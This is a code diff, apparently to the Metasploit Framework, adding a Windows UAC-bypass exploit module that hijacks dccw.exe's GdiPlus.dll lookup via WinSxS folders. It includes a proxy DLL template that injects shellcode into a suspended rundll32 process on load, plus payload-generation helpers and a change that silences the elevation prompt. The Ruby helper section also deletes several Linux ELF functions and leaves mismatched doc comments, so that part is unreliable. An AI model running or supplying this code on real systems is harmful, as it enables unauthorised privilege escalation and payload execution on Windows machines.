diff --git a/data/post/bypassuac-x64.dll b/data/post/bypassuac-x64.dll index 1790c4659c..dd57a3cbe3 100755 Binary files a/data/post/bypassuac-x64.dll and b/data/post/bypassuac-x64.dll differ diff --git a/data/post/bypassuac-x86.dll b/data/post/bypassuac-x86.dll index 76d7b87240..b5a5969ef9 100755 Binary files a/data/post/bypassuac-x86.dll and b/data/post/bypassuac-x86.dll differ diff --git a/data/templates/src/pe/dll_gdiplus/build.sh b/data/templates/src/pe/dll_gdiplus/build.sh new file mode 100755 index 0000000000..470734e763 --- /dev/null +++ b/data/templates/src/pe/dll_gdiplus/build.sh @@ -0,0 +1,24 @@ +# +# XXX: NOTE: this will only compile the x86 version. +# +# To compile the x64 version, use: +# C:\> call "c:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\vcvarsall.bat" amd64 +# C:\> cl.exe -LD /Zl /GS- /DBUILDMODE=2 /link /entry:DllMain kernel32.lib +# + +if [ -z "$PREFIX" ]; then + PREFIX=i686-w64-mingw32 +fi + +rm -f *.o *.dll +$PREFIX-gcc -c template.c +$PREFIX-windres -o rc.o template.rc +$PREFIX-gcc -mdll -o junk.tmp -Wl,--base-file,base.tmp template.o rc.o +rm -f junk.tmp +$PREFIX-dlltool --dllname template_x86_windows.dll --base-file base.tmp --output-exp temp.exp #--def template.def +rm -f base.tmp +$PREFIX-gcc -mdll -o template_x86_windows.dll template.o rc.o -Wl,temp.exp +rm -f temp.exp + +$PREFIX-strip template_x86_windows.dll +rm -f *.o diff --git a/data/templates/src/pe/dll_gdiplus/template.c b/data/templates/src/pe/dll_gdiplus/template.c new file mode 100755 index 0000000000..c7c8807e15 --- /dev/null +++ b/data/templates/src/pe/dll_gdiplus/template.c @@ -0,0 +1,97 @@ +#include +#include "template.h" + +/* hand-rolled bzero allows us to avoid including ms vc runtime */ +void inline_bzero(void *p, size_t l) +{ + + BYTE *q = (BYTE *)p; + size_t x = 0; + for (x = 0; x < l; x++) + *(q++) = 0x00; +} + +void ExecutePayload(void); + +BOOL WINAPI +DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) +{ + switch (dwReason) + { + case DLL_PROCESS_ATTACH: + ExecutePayload(); + break; + + case DLL_PROCESS_DETACH: + // Code to run when the DLL is freed + break; + + case DLL_THREAD_ATTACH: + // Code to run when a thread is created during the DLL's lifetime + break; + + case DLL_THREAD_DETACH: + // Code to run when a thread ends normally. + break; + } + return TRUE; +} + +void ExecutePayload(void) { + int error; + PROCESS_INFORMATION pi; + STARTUPINFO si; + CONTEXT ctx; + DWORD prot; + LPVOID ep; + + // Start up the payload in a new process + inline_bzero( &si, sizeof( si )); + si.cb = sizeof(si); + + // Create a suspended process, write shellcode into stack, make stack RWX, resume it + if(CreateProcess( 0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) { + ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL; + GetThreadContext(pi.hThread, &ctx); + + ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + + WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0); + +#ifdef _WIN64 + ctx.Rip = (DWORD64)ep; +#else + ctx.Eip = (DWORD)ep; +#endif + + SetThreadContext(pi.hThread,&ctx); + + ResumeThread(pi.hThread); + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + } + // ExitProcess(0); + ExitThread(0); +} + +/* +typedef VOID +(NTAPI *PIMAGE_TLS_CALLBACK) ( + PVOID DllHandle, + ULONG Reason, + PVOID Reserved + ); + +VOID NTAPI TlsCallback( + IN PVOID DllHandle, + IN ULONG Reason, + IN PVOID Reserved) +{ + __asm ( "int3" ); +} + +ULONG _tls_index; +PIMAGE_TLS_CALLBACK _tls_cb[] = { TlsCallback, NULL }; +IMAGE_TLS_DIRECTORY _tls_used = { 0, 0, (ULONG)&_tls_index, (ULONG)_tls_cb, 1000, 0 }; +*/ + diff --git a/data/templates/src/pe/dll_gdiplus/template.def b/data/templates/src/pe/dll_gdiplus/template.def new file mode 100755 index 0000000000..f5c3655fd4 --- /dev/null +++ b/data/templates/src/pe/dll_gdiplus/template.def @@ -0,0 +1,3 @@ +EXPORTS +DllMain@12 + diff --git a/data/templates/src/pe/dll_gdiplus/template.h b/data/templates/src/pe/dll_gdiplus/template.h new file mode 100755 index 0000000000..c5c836d9bf --- /dev/null +++ b/data/templates/src/pe/dll_gdiplus/template.h @@ -0,0 +1,40 @@ +#define SCSIZE 2048 +unsigned char code[SCSIZE] = "PAYLOAD:"; + +#ifdef _MSC_VER + #pragma comment (linker, "/export:GdipAlloc=c:/windows/system32/gdiplus.GdipAlloc,@34") + #pragma comment (linker, "/export:GdipCloneBrush=c:/windows/system32/gdiplus.GdipCloneBrush,@46") + #pragma comment (linker, "/export:GdipCloneImage=c:/windows/system32/gdiplus.GdipCloneImage,@50") + #pragma comment (linker, "/export:GdipCreateBitmapFromStream=c:/windows/system32/gdiplus.GdipCreateBitmapFromStream,@74") + #pragma comment (linker, "/export:GdipCreateFromHDC=c:/windows/system32/gdiplus.GdipCreateFromHDC,@84") + #pragma comment (linker, "/export:GdipCreateHBITMAPFromBitmap=c:/windows/system32/gdiplus.GdipCreateHBITMAPFromBitmap,@87") + #pragma comment (linker, "/export:GdipCreateLineBrushI=c:/windows/system32/gdiplus.GdipCreateLineBrushI,@97") + #pragma comment (linker, "/export:GdipCreateSolidFill=c:/windows/system32/gdiplus.GdipCreateSolidFill,@122") + #pragma comment (linker, "/export:GdipDeleteBrush=c:/windows/system32/gdiplus.GdipDeleteBrush,@130") + #pragma comment (linker, "/export:GdipDeleteGraphics=c:/windows/system32/gdiplus.GdipDeleteGraphics,@135") + #pragma comment (linker, "/export:GdipDisposeImage=c:/windows/system32/gdiplus.GdipDisposeImage,@143") + #pragma comment (linker, "/export:GdipFillRectangleI=c:/windows/system32/gdiplus.GdipFillRectangleI,@219") + #pragma comment (linker, "/export:GdipFree=c:/windows/system32/gdiplus.GdipFree,@225") + #pragma comment (linker, "/export:GdiplusShutdown=c:/windows/system32/gdiplus.GdiplusShutdown,@608") + #pragma comment (linker, "/export:GdiplusStartup=c:/windows/system32/gdiplus.GdiplusStartup,@609") +#endif +#ifdef __GNUC__ + asm (".section .drectve\n\t.ascii \" -export:GdipAlloc=c:/windows/system32/gdiplus.GdipAlloc @34\""); + asm (".section .drectve\n\t.ascii \" -export:GdipCloneBrush=c:/windows/system32/gdiplus.GdipCloneBrush @46\""); + asm (".section .drectve\n\t.ascii \" -export:GdipCloneImage=c:/windows/system32/gdiplus.GdipCloneImage @50\""); + asm (".section .drectve\n\t.ascii \" -export:GdipCreateBitmapFromStream=c:/windows/system32/gdiplus.GdipCreateBitmapFromStream @74\""); + asm (".section .drectve\n\t.ascii \" -export:GdipCreateFromHDC=c:/windows/system32/gdiplus.GdipCreateFromHDC @84\""); + asm (".section .drectve\n\t.ascii \" -export:GdipCreateHBITMAPFromBitmap=c:/windows/system32/gdiplus.GdipCreateHBITMAPFromBitmap @87\""); + asm (".section .drectve\n\t.ascii \" -export:GdipCreateLineBrushI=c:/windows/system32/gdiplus.GdipCreateLineBrushI @97\""); + asm (".section .drectve\n\t.ascii \" -export:GdipCreateSolidFill=c:/windows/system32/gdiplus.GdipCreateSolidFill @122\""); + asm (".section .drectve\n\t.ascii \" -export:GdipDeleteBrush=c:/windows/system32/gdiplus.GdipDeleteBrush @130\""); + asm (".section .drectve\n\t.ascii \" -export:GdipDeleteGraphics=c:/windows/system32/gdiplus.GdipDeleteGraphics @135\""); + asm (".section .drectve\n\t.ascii \" -export:GdipDisposeImage=c:/windows/system32/gdiplus.GdipDisposeImage @143\""); + asm (".section .drectve\n\t.ascii \" -export:GdipFillRectangleI=c:/windows/system32/gdiplus.GdipFillRectangleI @219\""); + asm (".section .drectve\n\t.ascii \" -export:GdipFree=c:/windows/system32/gdiplus.GdipFree @225\""); + asm (".section .drectve\n\t.ascii \" -export:GdiplusShutdown=c:/windows/system32/gdiplus.GdiplusShutdown @608\""); + asm (".section .drectve\n\t.ascii \" -export:GdiplusStartup=c:/windows/system32/gdiplus.GdiplusStartup @609\""); +#endif + + + diff --git a/data/templates/src/pe/dll_gdiplus/template.rc b/data/templates/src/pe/dll_gdiplus/template.rc new file mode 100755 index 0000000000..5f59aa4fbf --- /dev/null +++ b/data/templates/src/pe/dll_gdiplus/template.rc @@ -0,0 +1,18 @@ + +LANGUAGE 9, 1 + + +VS_VERSION_INFO VERSIONINFO + FILEVERSION 0,0,0,1 + PRODUCTVERSION 0,0,0,1 + FILEFLAGSMASK 0x17L + FILEFLAGS 0x0L + FILEOS 0x4L + FILETYPE 0x2L + FILESUBTYPE 0x0L +BEGIN + +END + +#define RT_HTML 23 + diff --git a/data/templates/template_x64_windows_dccw_gdiplus.dll b/data/templates/template_x64_windows_dccw_gdiplus.dll new file mode 100755 index 0000000000..fd4bbb9830 Binary files /dev/null and b/data/templates/template_x64_windows_dccw_gdiplus.dll differ diff --git a/data/templates/template_x86_windows_dccw_gdiplus.dll b/data/templates/template_x86_windows_dccw_gdiplus.dll new file mode 100755 index 0000000000..86be7f362d Binary files /dev/null and b/data/templates/template_x86_windows_dccw_gdiplus.dll differ diff --git a/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp b/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp index 1f27187277..e56cd9159d 100755 --- a/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp +++ b/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp @@ -46,7 +46,7 @@ extern "C" { break; } - if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) != S_OK) + if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) != S_OK) { dprintf("[BYPASSUACINJ] Couldn't Set operating flags on file op."); break; diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index f39c34d6ca..f29f2c800d 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -138,6 +138,28 @@ module Exploit::EXE dll end + def generate_payload_dccw_gdiplus_dll(opts = {}) + return get_custom_exe unless datastore['EXE::Custom'].to_s.strip.empty? + return get_eicar_exe if datastore['EXE::EICAR'] + + exe_init_options(opts) + plat = opts[:platform] + pl = opts[:code] + + pl ||= payload.encoded + + #Ensure opts[:arch] is an array + opts[:arch] = [opts[:arch]] unless opts[:arch].kind_of? Array + if opts[:arch] && opts[:arch].index(ARCH_X64) + dll = Msf::Util::EXE.to_win64pe_dccw_gdiplus_dll(framework, pl, opts) + else + dll = Msf::Util::EXE.to_win32pe_dccw_gdiplus_dll(framework, pl, opts) + end + + exe_post_generation(opts) + dll + end + def generate_payload_msi(opts = {}) return get_custom_exe(datastore['MSI::Custom']) unless datastore['MSI::Custom'].to_s.strip.empty? return get_eicar_exe if datastore['MSI::EICAR'] diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 84f211c961..ca5d147d60 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -706,6 +706,49 @@ require 'msf/core/exe/segment_appender' end end + + # self.to_win32pe_dll + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @option [String] :exe_type + # @option [String] :dll + # @option [String] :inject + # @return [String] + def self.to_win32pe_dccw_gdiplus_dll(framework, code, opts = {}) + # Allow the user to specify their own DLL template + set_template_default(opts, "template_x86_windows_dccw_gdiplus.dll") + opts[:exe_type] = :dll + + if opts[:inject] + self.to_win32pe(framework, code, opts) + else + exe_sub_method(code,opts) + end + end + + # self.to_win64pe_dll + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @option [String] :exe_type + # @option [String] :dll + # @option [String] :inject + # @return [String] + def self.to_win64pe_dccw_gdiplus_dll(framework, code, opts = {}) + # Allow the user to specify their own DLL template + set_template_default(opts, "template_x64_windows_dccw_gdiplus.dll") + opts[:exe_type] = :dll + + if opts[:inject] + raise RuntimeError, 'Template injection unsupported for x64 DLLs' + else + exe_sub_method(code,opts) + end + end + # Wraps an executable inside a Windows .msi file for auto execution when run # # @param framework [Msf::Framework] The framework of you want to use @@ -1057,18 +1100,7 @@ require 'msf/core/exe/segment_appender' to_exe_elf(framework, opts, "template_x64_linux.bin", code) end - # Create a 32-bit x86 Linux ELF_DYN containing the payload provided in +code+ - # - # @param framework [Msf::Framework] - # @param code [String] - # @param opts [Hash] - # @option [String] :template - # @return [String] Returns an elf - def self.to_linux_x86_elf_dll(framework, code, opts = {}) - to_exe_elf(framework, opts, "template_x86_linux_dll.bin", code) - end - - # Create a 64-bit x86_64 Linux ELF_DYN containing the payload provided in +code+ + # Create a 64-bit Linux ELF_DYN containing the payload provided in +code+ # # @param framework [Msf::Framework] # @param code [String] @@ -1079,18 +1111,7 @@ require 'msf/core/exe/segment_appender' to_exe_elf(framework, opts, "template_x64_linux_dll.bin", code) end - # Create a 64-bit AARCH64 Linux ELF containing the payload provided in +code+ - # - # @param framework [Msf::Framework] - # @param code [String] - # @param opts [Hash] - # @option [String] :template - # @return [String] Returns an elf - def self.to_linux_aarch64_elf(framework, code, opts = {}) - to_exe_elf(framework, opts, "template_aarch64_linux.bin", code) - end - - # Create a 32-bit ARMLE Linux ELF containing the payload provided in +code+ + # self.to_linux_mipsle_elf # # @param framework [Msf::Framework] # @param code [String] @@ -1101,18 +1122,7 @@ require 'msf/core/exe/segment_appender' to_exe_elf(framework, opts, "template_armle_linux.bin", code) end - # Create a 32-bit ARMLE Linux ELF_DYN containing the payload provided in +code+ - # - # @param framework [Msf::Framework] - # @param code [String] - # @param opts [Hash] - # @option [String] :template - # @return [String] Returns an elf - def self.to_linux_armle_elf_dll(framework, code, opts = {}) - to_exe_elf(framework, opts, "template_armle_linux_dll.bin", code) - end - - # Create a 32-bit MIPSLE Linux ELF containing the payload provided in +code+ + # self.to_linux_mipsle_elf # Little Endian # @param framework [Msf::Framework] # @param code [String] @@ -1123,7 +1133,7 @@ require 'msf/core/exe/segment_appender' to_exe_elf(framework, opts, "template_mipsle_linux.bin", code) end - # Create a 32-bit MIPSBE Linux ELF containing the payload provided in +code+ + # self.to_linux_mipsbe_elf # Big Endian # @param framework [Msf::Framework] # @param code [String] diff --git a/modules/exploits/windows/local/bypassuac_injection_winsxs.rb b/modules/exploits/windows/local/bypassuac_injection_winsxs.rb new file mode 100644 index 0000000000..6e087e1a22 --- /dev/null +++ b/modules/exploits/windows/local/bypassuac_injection_winsxs.rb @@ -0,0 +1,436 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/exploit/exe' + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Exploit::EXE + include Exploit::FileDropper + include Post::File + include Post::Windows::Priv + include Post::Windows::ReflectiveDLLInjection + include Post::Windows::Runas + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS', + 'Description' => %q{ + This module will bypass Windows UAC by utilizing the trusted publisher + certificate through process injection. It will spawn a second shell that + has the UAC flag turned off by abusing the way "WinSxS" works in Windows + systems. This module uses the Reflective DLL Injection technique to drop + only the DLL payload binary instead of three seperate binaries in the + standard technique. However, it requires the correct architecture to be + selected, (use x64 for SYSWOW64 systems also). + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Ernesto Fernandez "L3cr0f" ' + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ + [ 'Windows x86', { 'Arch' => ARCH_X86 } ], + [ 'Windows x64', { 'Arch' => ARCH_X64 } ] + ], + 'DefaultTarget' => 0, + 'References' => [ + [ + 'URL', 'https://github.com/L3cr0f/DccwBypassUAC' + ] + ], + 'DisclosureDate'=> 'Apr 06 2017' + )) + + end + + def exploit + # Validate that we can actually do things before we bother + # doing any more work + validate_environment! + check_permissions! + + # Get all required environment variables in one shot instead. This + # is a better approach because we don't constantly make calls through + # the session to get the variables. + env_vars = get_envs('TEMP', 'WINDIR') + + # Get UAC level so as to verify if the module will be successful + case get_uac_level + when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, + UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, + UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT + fail_with(Failure::NotVulnerable, + "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..." + ) + when UAC_DEFAULT + print_good('UAC is set to Default') + print_good('BypassUAC can bypass this setting, continuing...') + when UAC_NO_PROMPT + print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead') + shell_execute_exe + return + end + + dll_path = bypass_dll_path + payload_filepath = "#{env_vars['TEMP']}\\dccw.exe.Local" + + # Establish the folder pattern so as to get those folders that match it + sysarch = sysinfo['Architecture'] + if sysarch == ARCH_X86 + targetedDirectories = "C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*" + else + targetedDirectories = "C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*" + end + + directoryNames = get_directories(payload_filepath, targetedDirectories) + create_directories(payload_filepath, directoryNames) + upload_payload_dll(payload_filepath, directoryNames) + + pid = spawn_inject_proc(env_vars['WINDIR']) + + file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath) + run_injection(pid, dll_path, file_paths) + end + + # Path to the bypassuac binary and architecture payload checking + def bypass_dll_path + path = ::File.join(Msf::Config.data_directory, 'post') + + sysarch = sysinfo['Architecture'] + if sysarch == ARCH_X86 + if (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i) + fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System') + else + ::File.join(path, "bypassuac-x86.dll") + end + else + unless (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i) + fail_with(Failure::BadConfig, 'x86 Target Selected for x64 System') + else + ::File.join(path, "bypassuac-x64.dll") + end + end + end + + # Check if the compromised user matches some requirements + def check_permissions! + # Check if you are an admin + vprint_status('Checking admin status...') + admin_group = is_in_admin_group? + + if admin_group.nil? + print_error('Either whoami is not there or failed to execute') + print_error('Continuing under assumption you already checked...') + else + if admin_group + print_good('Part of Administrators group! Continuing...') + else + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') + end + end + + if get_integrity_level == INTEGRITY_LEVEL_SID[:low] + fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level') + end + end + + # Inject and run the DLL within a trusted certificate signed process to invoke IFileOperation + def run_injection(pid, dll_path, file_paths) + vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}") + begin + path_struct = create_struct(file_paths) + + vprint_status("Opening process #{pid}") + host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS) + exploit_mem, offset = inject_dll_into_process(host_process, dll_path) + + vprint_status("Injecting struct into #{pid}") + struct_addr = host_process.memory.allocate(path_struct.length) + host_process.memory.write(struct_addr, path_struct) + + vprint_status('Executing payload') + thread = host_process.thread.create(exploit_mem + offset, struct_addr) + print_good("Successfully injected payload in to process: #{pid}") + client.railgun.kernel32.WaitForSingleObject(thread.handle, 14000) + rescue Rex::Post::Meterpreter::RequestError => e + print_error("Failed to Inject Payload to #{pid}!") + vprint_error(e.to_s) + end + end + + # Create a process in the native architecture + def spawn_inject_proc(win_dir) + print_status('Spawning process with Windows Publisher Certificate, to inject into...') + if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86 + cmd = "#{win_dir}\\sysnative\\notepad.exe" + else + cmd = "#{win_dir}\\System32\\notepad.exe" + end + pid = cmd_exec_get_pid(cmd) + + unless pid + fail_with(Failure::Unknown, 'Spawning Process failed...') + end + + pid + end + + # Upload only one DLL, the rest will be copied into the specific folders + def upload_payload_dll(payload_filepath, directoryNames) + dllPath = "#{directoryNames[0]}\\GdiPlus.dll" + payload = generate_payload_dccw_gdiplus_dll({:dll_exitprocess => true}) + print_status('Uploading the Payload DLL to the filesystem...') + begin + vprint_status("Payload DLL #{payload.length} bytes long being uploaded...") + write_file(dllPath, payload) + rescue Rex::Post::Meterpreter::RequestError => e + fail_with(Failure::Unknown, "Error uploading file #{directoryNames[0]}: #{e.class} #{e}") + end + + if directoryNames.size > 1 + copy_payload_dll(directoryNames, dllPath) + end + end + + # Copy our DLL to all created folders, the first folder already have a copy of the DLL + def copy_payload_dll(directoryNames, dllPath) + 1.step(directoryNames.size - 1, 1) do |i| + if client.railgun.kernel32.CopyFileA(dllPath, "#{directoryNames[i]}\\GdiPlus.dll", false)['return'] == false + print_error("Error! Cannot copy the payload to all the necessary folders! Continuing just in case it works...") + end + end + end + + # Check if the environment is vulnerable to the exploit + def validate_environment! + fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? + + winver = sysinfo['OS'] + + case winver + when /Windows (8|10)/ + print_good("#{winver} may be vulnerable.") + else + fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.") + end + + if is_uac_enabled? + print_status('UAC is Enabled, checking level...') + else + unless is_in_admin_group? + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') + end + end + end + + # Creating the necessary directories to perform the DLL hijacking + # Since we don't know which path "dccw.exe" will choose, we create + # all the directories that match with the initial pattern + def create_directories(payload_filepath, directoryNames) + env_vars = get_envs('TEMP') + + print_status("Creating temporary folders...") + if client.railgun.kernel32.CreateDirectoryA(payload_filepath, nil)['return'] == 0 + fail_with(Failure::Unknown, "Cannot create the directory \"#{env_vars['TEMP']}dccw.exe.Local\"") + end + + directoryNames.each do |dirName| + if client.railgun.kernel32.CreateDirectoryA(dirName, nil)['return'] == 0 + fail_with(Failure::Unknown, "Cannot create the directory \"#{env_vars['TEMP']}dccw.exe.Local\\#{dirName}\"") + end + end + end + + # Get all the directories that match with the initial pattern + def get_directories(payload_filepath, targetedDirectories) + directoryNames = [] + findFileDataSize = 592 + maxPath = client.railgun.const("MAX_PATH") + fileNamePadding = 44 + + hFile = client.railgun.kernel32.FindFirstFileA(targetedDirectories, findFileDataSize) + if hFile['return'] == client.railgun.const("INVALID_HANDLE_VALUE") + fail_with(Failure::Unknown, "Cannot get the targeted directories!") + end + + findFileData = hFile['lpFindFileData'] + moreFiles = true + until moreFiles == false do + fileAttributes = findFileData[0, 4].unpack('V').first + andOperation = fileAttributes & client.railgun.const("FILE_ATTRIBUTE_DIRECTORY") + if andOperation + #Removes the remainder part composed of 'A' of the path and the last null character + normalizedData = findFileData[fileNamePadding, fileNamePadding + maxPath].split('AAA')[0] + path = "#{payload_filepath}\\#{normalizedData[0, normalizedData.length - 1]}" + directoryNames.push(path) + end + + findNextFile = client.railgun.kernel32.FindNextFileA(hFile['return'], findFileDataSize) + moreFiles = findNextFile['return'] + findFileData = findNextFile['lpFindFileData'] + end + + if findNextFile['GetLastError'] != client.railgun.const("ERROR_NO_MORE_FILES") + fail_with(Failure::Unknown, "Cannot get the targeted directories!") + end + + directoryNames + end + + # Store the necessary paths into a struct + def get_file_paths(win_path, payload_filepath) + paths = {} + paths[:szElevDll] = 'dccw.exe.Local' + paths[:szElevDir] = "#{win_path}\\System32" + paths[:szElevDirSysWow64] = "#{win_path}\\sysnative" + paths[:szElevExeFull] = "#{paths[:szElevDir]}\\dccw.exe" + paths[:szElevDllFull] = "#{paths[:szElevDir]}\\#{paths[:szElevDll]}" + paths[:szTempDllPath] = payload_filepath + + paths + end + + # Creates the paths struct which contains all the required paths + # the dll needs to copy/execute etc. + def create_struct(paths) + + # Write each path to the structure in the order they + # are defined in the bypass uac binary. + struct = '' + struct << fill_struct_path(paths[:szElevDir]) + struct << fill_struct_path(paths[:szElevDirSysWow64]) + struct << fill_struct_path(paths[:szElevDll]) + struct << fill_struct_path(paths[:szElevDllFull]) + struct << fill_struct_path(paths[:szElevExeFull]) + struct << fill_struct_path(paths[:szTempDllPath]) + + struct + end + + def fill_struct_path(path) + path = Rex::Text.to_unicode(path) + path + "\x00" * (520 - path.length) + end + + # When a new session is obtained, it removes the dropped elements (files and folders) + def on_new_session(session) + if session.type == 'meterpreter' + session.core.use('stdapi') unless session.ext.aliases.include?('stdapi') + end + remove_dropped_elements(session) + end + + # Remove all the created and dropped files and folders + def remove_dropped_elements(session) + droppedElements = [] + + env_vars = get_envs('TEMP', 'WINDIR') + payload_filepath = "#{env_vars['TEMP']}\\dccw.exe.Local" + + sysarch = sysinfo['Architecture'] + if sysarch == ARCH_X86 + targetedDirectories = "C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*" + else + targetedDirectories = "C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*" + end + + directoryNames = get_directories(payload_filepath, targetedDirectories) + file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath) + + # Remove all dropped elements (files and folders) + remove_dlls(session, directoryNames, file_paths, droppedElements) + remove_winsxs_folders(session, directoryNames, file_paths, droppedElements) + remove_dot_local_folders(session, file_paths, droppedElements) + + # Check if the removal was successful + removal_checking(droppedElements) + end + + # Remove "GdiPlus.dll" from "C:\%TEMP%\dccw.exe.Local\*_microsoft.windows.gdiplus_*\" + # and "C:\Windows\System32\dccw.exe.Local\*_microsoft.windows.gdiplus_*\" + def remove_dlls(session, directoryNames, file_paths, droppedElements) + directoryNames.each do |dirName| + directoryName = dirName.split("\\").last + + begin + droppedElements.push("#{dirName}\\GdiPlus.dll") + session.fs.file.rm("#{dirName}\\GdiPlus.dll") + rescue ::Rex::Post::Meterpreter::RequestError => e + vprint_error("Error => #{e.class} - #{e}") + end + + begin + droppedElements.push("#{file_paths[:szElevDllFull]}\\#{directoryName}\\GdiPlus.dll") + session.fs.file.rm("#{file_paths[:szElevDllFull]}\\#{directoryName}\\GdiPlus.dll") + rescue ::Rex::Post::Meterpreter::RequestError => e + vprint_error("Error => #{e.class} - #{e}") + end + end + end + + # Remove folders from "C:\%TEMP%\dccw.exe.Local\" and "C:\Windows\System32\dccw.exe.Local\" + def remove_winsxs_folders(session, directoryNames, file_paths, droppedElements) + directoryNames.each do |dirName| + directoryName = dirName.split("\\").last + + begin + droppedElements.push(dirName) + session.fs.dir.rmdir(dirName) + rescue ::Rex::Post::Meterpreter::RequestError => e + vprint_error("Error => #{e.class} - #{e}") + end + + begin + droppedElements.push("#{file_paths[:szElevDllFull]}\\#{directoryName}") + session.fs.dir.rmdir("#{file_paths[:szElevDllFull]}\\#{directoryName}") + rescue ::Rex::Post::Meterpreter::RequestError => e + vprint_error("Error => #{e.class} - #{e}") + end + end + end + + # Remove "C:\Windows\System32\dccw.exe.Local" folder + def remove_dot_local_folders(session, file_paths, droppedElements) + begin + droppedElements.push(file_paths[:szTempDllPath]) + session.fs.dir.rmdir(file_paths[:szTempDllPath]) + rescue ::Rex::Post::Meterpreter::RequestError => e + vprint_error("Error => #{e.class} - #{e}") + end + + begin + droppedElements.push(file_paths[:szElevDllFull]) + session.fs.dir.rmdir(file_paths[:szElevDllFull]) + rescue ::Rex::Post::Meterpreter::RequestError => e + vprint_error("Error => #{e.class} - #{e}") + end + end + + # Check if have been successfully removed + def removal_checking(droppedElements) + successfullyRemoved = true + + droppedElements.each do |element| + begin + stat = session.fs.file.stat(element) + if stat + print_error("Unable to delete #{element}!") + successfullyRemoved = false + end + rescue ::Rex::Post::Meterpreter::RequestError => e + vprint_error("Error => #{e.class} - #{e}") + end + end + + if successfullyRemoved + print_good("All the dropped elements have been successfully removed") + else + print_warning("Could not delete some dropped elements! They will require manual cleanup on the target") + end + end +end